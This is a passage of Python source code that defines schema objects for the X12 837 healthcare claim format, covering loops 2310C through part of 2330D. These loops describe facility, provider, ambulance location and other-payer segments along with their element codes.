desc="Rendering Provider Specialty Information",
position="2550",
repeat="1",
req_sit="S",
syntax="P0203",
),
Element(
"PRV01",
Properties(
desc="Provider Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["PE"],
),
),
Element(
"PRV02",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["PXC"],
),
),
Element(
"PRV03",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"PRV04",
Properties(
desc="State or Province Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=4,
codes=[],
),
),
Composite(
"C035",
Properties(
desc="Provider Specialty Information",
refdes="",
repeat="",
req_sit="N",
seq="05",
),
),
Element(
"PRV06",
Properties(
desc="Provider Organization Code",
req_sit="N",
data_type=("ID", "3", "3"),
position=6,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Rendering Provider Secondary Identification",
position="2710",
repeat="4",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2310C = Loop(
"2310C",
Properties(
desc="Service Facility Location Name",
looptype="",
position="2500",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Service Facility Location Name",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["77"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Service Facility Location Address",
position="2650",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Service Facility Location City, State, ZIP Code",
position="2700",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Service Facility Location Secondary Identification",
position="2710",
repeat="3",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"PER",
Properties(
desc="Service Facility Contact Information",
position="2750",
repeat="1",
req_sit="S",
syntax="P0304 P0506 P0708",
),
Element(
"PER01",
Properties(
desc="Contact Function Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["IC"],
),
),
Element(
"PER02",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=2,
codes=[],
),
),
Element(
"PER03",
Properties(
desc="Communication Number Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["TE"],
),
),
Element(
"PER04",
Properties(
desc="Communication Number",
req_sit="R",
data_type=("AN", "1", "256"),
position=4,
codes=[],
),
),
Element(
"PER05",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=5,
codes=["EX"],
),
),
Element(
"PER06",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=6,
codes=[],
),
),
Element(
"PER07",
Properties(
desc="Communication Number Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=7,
codes=[],
),
),
Element(
"PER08",
Properties(
desc="Communication Number",
req_sit="N",
data_type=("AN", "1", "256"),
position=8,
codes=[],
),
),
Element(
"PER09",
Properties(
desc="Contact Inquiry Reference",
req_sit="N",
data_type=("AN", "1", "20"),
position=9,
codes=[],
),
),
),
)
parsed_837_2310D = Loop(
"2310D",
Properties(
desc="Supervising Provider Name",
looptype="",
position="2500",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Supervising Provider Name",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DQ"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Supervising Provider Secondary Identification",
position="2710",
repeat="4",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2310E = Loop(
"2310E",
Properties(
desc="Ambulance Pick-up Location",
looptype="",
position="2500",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Ambulance Pick-up Location",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["PW"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Ambulance Pick-up Location Address",
position="2650",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Ambulance Pick-up Location City, State, ZIP Code",
position="2700",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
)
parsed_837_2310F = Loop(
"2310F",
Properties(
desc="Ambulance Drop-off Location",
looptype="",
position="2500",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Ambulance Drop-off Location",
position="2500",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["45"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Ambulance Drop-off Location Address",
position="2650",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Ambulance Drop-off Location City, State, ZIP Code",
position="2700",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
)
parsed_837_2330A = Loop(
"2330A",
Properties(
desc="Other Subscriber Name",
looptype="",
position="3250",
repeat="1",
req_sit="R",
),
Segment(
"NM1",
Properties(
desc="Other Subscriber Name",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["IL"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=8,
codes=["II", "MI"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Other Subscriber Address",
position="3320",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Other Subscriber City, State, ZIP Code",
position="3400",
repeat="1",
req_sit="S",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Subscriber Secondary Identification",
position="3550",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["SY"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330B = Loop(
"2330B",
Properties(
desc="Other Payer Name", looptype="", position="3250", repeat="1", req_sit="R"
),
Segment(
"NM1",
Properties(
desc="Other Payer Name",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["PR"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=8,
codes=["PI", "XV"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Other Payer Address",
position="3320",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Other Payer City, State, ZIP Code",
position="3400",
repeat="1",
req_sit="S",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Claim Check or Remittance Date",
position="3450",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["573"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Secondary Identifier",
position="3550",
repeat="2",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["2U", "EI", "FY", "NF"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Prior Authorization Number",
position="3550",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G1"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Referral Number",
position="3550",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9F"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Claim Adjustment Indicator",
position="3550",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["T4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Claim Control Number",
position="3550",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["F8"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330C = Loop(
"2330C",
Properties(
desc="Other Payer Referring Provider",
looptype="",
position="3250",
repeat="2",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Other Payer Referring Provider",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DN", "P3"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Referring Provider Secondary Identification",
position="3550",
repeat="3",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330D = Loop(
"2330D",
Properties(
desc="Other Payer Rendering Provider",
looptype="",
position="3650",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Other Payer Rendering Provider",
